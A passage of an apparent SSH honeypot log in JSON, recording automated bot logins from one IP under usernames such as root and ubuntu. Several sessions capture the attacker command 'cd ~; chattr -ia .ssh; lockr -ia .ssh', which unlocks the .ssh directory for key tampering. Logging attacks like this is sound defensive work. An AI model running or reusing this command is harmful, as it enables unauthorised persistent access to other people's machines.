  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a912ea6-3c72-4e58-98e2-49990889d5d0",
  "name": "balmy-lawful-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35794,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:01:24.920886+00:00",
  "ended_at": "2026-08-26T18:01:26.694946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc",
  "name": "bashful-civil-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 39658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:58:46.871208+00:00",
  "ended_at": "2026-08-26T17:58:47.874485+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "5f1e1899-4b02-4a40-ae75-c2815cef4c03",
  "name": "curious-autumn-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:28.492479+00:00",
  "ended_at": "2026-08-26T17:58:30.549116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "766da21a-fd4c-4902-ad4b-f456d5f89cc4",
  "name": "wandering-ancient-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44472,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:25.437697+00:00",
  "ended_at": "2026-08-26T17:58:27.447316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42c8c558-be26-41de-bb4f-a2857d57b4d0",
  "name": "somber-frugal-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:55:47.776042+00:00",
  "ended_at": "2026-08-26T17:55:48.730455+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2f5119b6-2a30-4846-8d2f-c65086c7569f",
  "name": "seaward-snowy-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:55:30.459779+00:00",
  "ended_at": "2026-08-26T17:55:31.564758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6e3b40b-b8c3-4cf0-b061-ce1a17cd4359",
  "name": "barren-diligent-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:55:27.891035+00:00",
  "ended_at": "2026-08-26T17:55:29.346450+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e386465-3bb6-4d0e-94d3-53afdbec0a0f",
  "name": "bashful-coastal-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33048,
  "username": "b1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:52:45.810411+00:00",
  "ended_at": "2026-08-26T17:52:47.218282+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "a05fdcdb-b860-4034-a30a-4ac6dffa5b0b",
  "name": "northern-mellow-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37090,
  "username": "b1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:52:26.545430+00:00",
  "ended_at": "2026-08-26T17:52:28.377247+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "082595a6-9446-4579-a0ae-dfdcb9c11096",
  "name": "lively-sterling-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37088,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:52:24.732356+00:00",
  "ended_at": "2026-08-26T17:52:25.494551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85e5618c-019d-4ab9-b5ec-763679292810",
  "name": "brave-mighty-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51704,
  "username": "administrator",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:49:45.923841+00:00",
  "ended_at": "2026-08-26T17:49:47.279948+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2272
 },
 {
  "id": "edb906a0-6164-4540-8162-1aecb785af8f",
  "name": "rambling-fearless-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41254,
  "username": "administrator",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:49:26.073654+00:00",
  "ended_at": "2026-08-26T17:49:27.881380+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b0d796d-556e-47ff-b9a2-39e50854add1",
  "name": "feathered-gallant-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41248,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:49:24.272337+00:00",
  "ended_at": "2026-08-26T17:49:25.026614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b28b3946-f40a-4a62-aad3-426a0baa5ba0",
  "name": "ginger-blithe-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45198,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:46:44.963741+00:00",
  "ended_at": "2026-08-26T17:46:46.472443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "1f40da99-28b2-4aeb-9ec1-ac387599c442",
  "name": "gnarled-brave-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48932,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:46:26.381371+00:00",
  "ended_at": "2026-08-26T17:46:27.364697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3fd97244-c8fa-48c8-b952-c6013b95ab3a",
  "name": "civil-hazel-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45206,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:46:23.296895+00:00",
  "ended_at": "2026-08-26T17:46:25.292235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8362a899-814a-4232-9e21-5f7d15ea2953",
  "name": "ruddy-ancient-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 58700,
  "username": "osadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:43:45.444701+00:00",
  "ended_at": "2026-08-26T17:43:46.470951+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "66d62e91-8f0e-4b22-a41c-8478c6ee8cd8",
  "name": "rambling-gnarled-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41446,
  "username": "osadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:43:27.535392+00:00",
  "ended_at": "2026-08-26T17:43:28.467684+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "411a2718-a629-4d6e-8f08-16b3a5491932",
  "name": "plush-barren-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41434,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:43:24.459429+00:00",
  "ended_at": "2026-08-26T17:43:26.480124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c769f06-f9f6-43a3-b9d6-eb995d5ad61e",
  "name": "shifting-granite-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 36146,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:40:50.947543+00:00",
  "ended_at": "2026-08-26T17:40:52.293510+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "c0d055a1-319c-4faa-9f4d-d8d85184573e",
  "name": "windswept-hazy-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36166,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:40:32.997381+00:00",
  "ended_at": "2026-08-26T17:40:34.010607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6b67f17-8867-4489-8ab5-659ac66b75ce",
  "name": "stoic-northern-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:40:30.320753+00:00",
  "ended_at": "2026-08-26T17:40:31.917460+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93ef68b0-34e4-4cb8-9604-d7f2d61343c0",
  "name": "bitter-amiable-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59452,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:37:47.927305+00:00",
  "ended_at": "2026-08-26T17:37:49.152592+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1e328fc8-c40a-4c9c-aa2b-40be2586da3c",
  "name": "thrifty-emerald-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:37:30.427322+00:00",
  "ended_at": "2026-08-26T17:37:31.300904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1cef4ea-78be-4895-83ac-7da4b2a223ec",
  "name": "distant-boreal-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59464,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:37:28.036435+00:00",
  "ended_at": "2026-08-26T17:37:29.373582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79f7ac4d-90e9-48c0-970f-f9867fa65fd3",
  "name": "western-bronzed-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35534,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 511,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:34:46.894710+00:00",
  "ended_at": "2026-08-26T17:34:48.125503+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "07f0c14a-38ff-431a-9dcd-ca020fad57b2",
  "name": "frugal-obsidian-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35540,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:34:30.363623+00:00",
  "ended_at": "2026-08-26T17:34:31.363838+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88859f45-0442-4b95-b713-4564c3acd736",
  "name": "brazen-russet-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:34:27.497383+00:00",
  "ended_at": "2026-08-26T17:34:29.312136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7f4841d-94b6-48a5-a1a5-b3460139507d",
  "name": "faded-hushed-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 48426,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:31:49.785155+00:00",
  "ended_at": "2026-08-26T17:31:51.183273+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d2d5b070-d4e3-4121-b8ae-daa63f6048b5",
  "name": "freckled-granite-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48440,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:31:29.478447+00:00",
  "ended_at": "2026-08-26T17:31:30.683495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "655d4633-60af-407c-ac13-1d982885128d",
  "name": "creaky-frank-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:31:26.584798+00:00",
  "ended_at": "2026-08-26T17:31:28.420427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca44722c-8e24-4640-ac8d-99a7a80da1f9",
  "name": "sincere-weathered-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 549,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:28:55.684304+00:00",
  "ended_at": "2026-08-26T17:28:57.131528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "9a18d25b-6cff-4a2d-adda-43e582265258",
  "name": "amiable-clever-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:35.903048+00:00",
  "ended_at": "2026-08-26T17:28:37.228375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c2406a9-0008-47b8-8b68-e946d7c935cb",
  "name": "rustic-barren-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:32.817757+00:00",
  "ended_at": "2026-08-26T17:28:34.862488+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04d8d87e-c675-4844-aef2-717c1814d070",
  "name": "painted-canny-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35508,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:25:58.561111+00:00",
  "ended_at": "2026-08-26T17:26:00.154051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "e2b06e11-fc29-4a78-b067-2f1e1224b553",
  "name": "mottled-cheerful-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35522,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:25:39.857531+00:00",
  "ended_at": "2026-08-26T17:25:41.770952+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4200c956-bfe6-4b6b-9597-858941d4492a",
  "name": "reedy-icy-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:25:37.906216+00:00",
  "ended_at": "2026-08-26T17:25:38.864214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4218c19a-437a-497c-96ad-c76533e859b1",
  "name": "lawful-sturdy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:23:07.545343+00:00",
  "ended_at": "2026-08-26T17:23:08.968897+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6e117e0-8e3d-4250-aa4e-bd8462439e47",
  "name": "hushed-hazel-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:49.953210+00:00",
  "ended_at": "2026-08-26T17:22:50.782054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f6a9aaa-8b60-419a-8996-742b664c5c54",
  "name": "autumn-arctic-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45026,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:46.878842+00:00",
  "ended_at": "2026-08-26T17:22:48.886630+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2092c945-ba1d-4b8d-91c9-6ad647fcdf48",
  "name": "faded-jolly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 44208,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:20:13.004124+00:00",
  "ended_at": "2026-08-26T17:20:14.511849+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "474b2122-5d26-48d1-9ad7-3df3d137f9de",
  "name": "bitter-shifting-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:19:53.946914+00:00",
  "ended_at": "2026-08-26T17:19:55.682043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c4c4e20-b152-4313-b569-9c8bc71d2121",
  "name": "thrifty-eager-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:19:51.388965+00:00",
  "ended_at": "2026-08-26T17:19:52.990436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44c50a88-9dbd-49f3-b57a-76d64fdc0a5d",
  "name": "genial-mighty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:17:22.479193+00:00",
  "ended_at": "2026-08-26T17:17:23.573581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "25a04f08-9dbb-41ee-a253-21793abe2a5d",
  "name": "orderly-brazen-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 50666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:17:03.437756+00:00",
  "ended_at": "2026-08-26T17:17:05.032588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65122ffd-48a8-48bd-9deb-efd51c63b5ce",
  "name": "blunt-knotted-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 50664,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:17:01.320577+00:00",
  "ended_at": "2026-08-26T17:17:02.390140+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67ee518b-6e71-49b1-afcc-a116e782369c",
  "name": "brazen-wry-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:14:22.643635+00:00",
  "ended_at": "2026-08-26T17:14:23.689337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0808be22-fcde-47a9-905e-0b632a2d5ed0",
  "name": "northern-shaded-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:14:04.554099+00:00",
  "ended_at": "2026-08-26T17:14:05.502970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7e5d5f87-8b87-496d-82e7-03e0d4d3dc15",
  "name": "downy-lanky-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:14:02.015580+00:00",
  "ended_at": "2026-08-26T17:14:03.471600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
